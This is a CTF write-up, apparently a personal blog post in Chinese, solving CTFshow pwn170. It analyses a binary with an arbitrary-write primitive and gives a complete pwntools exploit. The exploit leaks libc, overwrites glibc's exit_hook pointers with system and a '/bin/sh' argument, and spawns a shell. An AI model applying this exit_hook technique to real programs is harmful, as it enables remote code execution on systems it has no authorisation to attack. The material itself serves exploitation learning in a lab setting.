CTFshow-pwn170
[!NOTE]
非常简单
- 远程环境:Ubuntu 18.04
libc 版本为 Ubuntu GLIBC 2.27-3ubuntu1
检查一下程序的保护机制
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn170
[*] '/home/niuyingying/ctf/pwn/pwn170'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
分析程序主要流程
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // [rsp+8h] [rbp-18h] BYREF
_QWORD *v4; // [rsp+10h] [rbp-10h] BYREF
char s[2]; // [rsp+1Eh] [rbp-2h] BYREF
((void (__fastcall *)(__int64, char **, char **))sub_83A)(a1, a2, a3);
sub_87D();
printf("puts: %p\n", &puts);
printf("stack: %p\n", &v3);
while ( 1 )
{
puts("===Menu===");
puts("(w)rite");
puts("(q)uit");
fgets(s, 2, stdin);
if ( s[0] == 'q' )
break;
if ( s[0] == 'w' )
{
printf("ptr: ");
__isoc99_scanf("%lu", &v4);
printf("val: ");
__isoc99_scanf("%lu", &v3);
*v4 = v3;
}
}
exit(0);
}
可以看到程序在输入 w 时可以任意地址写 8 字节,输入 q 会执行 exit(0)
那么这道题我们需要了解一下 exit_hook 攻击技术,可参考:exit_hook攻击利用-先知社区
pwn题堆利用的一些姿势 -- exit_hook_pwn exit hook-CSDN博客
总结一下 libc-2.23.so 和 libc-2.27.so 中 exit_hook 函数的偏移
# libc-2.23
rtld_global = libc_base + 0x5f0040
dl_load_lock = rtld_global + 0x908
lock_recursive = rtld_global + 0xf08
unlock_recursive = rtld_global + 0xf10
# libc-2.27
rtld_global = libc_base + 0x619060
dl_load_lock = rtld_global + 0x908
lock_recursive = rtld_global + 0xf00
unlock_recursive = rtld_global + 0xf08
攻击脚本如下:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn170')
libc = ELF('./libc-2.27.so')
ld = ELF('/home/niuyingying/ctf/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so')
# io = process('./pwn170')
io = remote("pwn.challenge.ctf.show",28162)
# io = gdb.debug('./pwn170', gdbscript='set pagination off\nbreakrva 0x9A6\nc')
io.recvuntil(b"0x")
leak = int(io.recvuntil(b"\n", drop=True), 16)
print(hex(leak))
libc_base = leak - libc.sym['puts']
print(hex(libc_base))
one_gadget = libc_base + 0x4f322
system = libc_base + libc.sym['system']
# ld_base = libc_base + 0x400000
# _rtld_global = ld_base + ld.sym['_rtld_global']
_rtld_global = libc_base + 0x619060
_dl_rtld_lock_recursive = _rtld_global + 0xf00
_dl_rtld_unlock_recursive = _rtld_global + 0xf08
_dl_load_lock = _rtld_global + 0x908
# io.recvuntil(b"(q)uit\n")
# io.sendline(b"w")
# io.recvuntil(b"ptr: ")
# io.sendline(str(_dl_rtld_unlock_recursive).encode())
# io.recvuntil(b"val: ")
# io.sendline(str(one_gadget).encode())
io.recvuntil(b"(q)uit\n")
io.sendline(b"w")
io.recvuntil(b"ptr: ")
io.sendline(str(_dl_rtld_lock_recursive).encode())
io.recvuntil(b"val: ")
io.sendline(str(system).encode())
io.recvuntil(b"(q)uit\n")
io.sendline(b"w")
io.recvuntil(b"ptr: ")
io.sendline(str(_dl_load_lock).encode())
io.recvuntil(b"val: ")
io.sendline(str(u64(b"/bin/sh\x00")).encode())
io.recvuntil(b"(q)uit\n")
io.sendline(b"q")
io.interactive()
上面包含了两种打法,这道题我最开始 /bin/sh\x00 字符串没有包裹 u64 导致一直没有打通,所以多说一嘴
这题 main 里是:
scanf("%lu", &ptr);
scanf("%lu", &val);
*ptr = val;
也就是说程序需要输入的是十进制整数文本
所以如果想把内存写成 /bin/sh\x00 ,不能直接 io.sendline(b"/bin/sh\x00") ,因为 scanf("%lu") 看到第一个字符是 /,它不是数字,解析失败,程序就不会把这 8 个字节当作数据写进去
因此必须先把这 8 个字节按小端序解释成一个整数 u64(b"/bin/sh\x00") ,结果是 29400045130965551 ,然后发给 scanf("%lu") ,即:
io.sendline(str(u64(b"/bin/sh\x00")).encode())

浙公网安备 33010602011771号